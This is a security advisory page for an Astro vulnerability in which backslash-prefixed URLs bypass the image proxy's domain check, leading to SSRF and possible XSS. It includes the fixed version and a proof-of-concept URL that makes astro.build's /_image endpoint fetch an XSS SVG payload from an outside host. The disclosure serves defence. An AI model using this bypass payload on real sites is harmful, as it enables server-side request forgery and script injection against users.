VDB
Sign up
HIGH7.2

GHSA-qcpr-679q-rhm2

Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Quick fix

GHSA-qcpr-679q-rhm2 — astro: upgrade to the fixed version with the command below.

npm install astro@5.13.10

Details

### Summary

This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch.

### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/astro
Introduced in: 5.13.4Fixed in: 5.13.10
Fixnpm install astro@5.13.10

References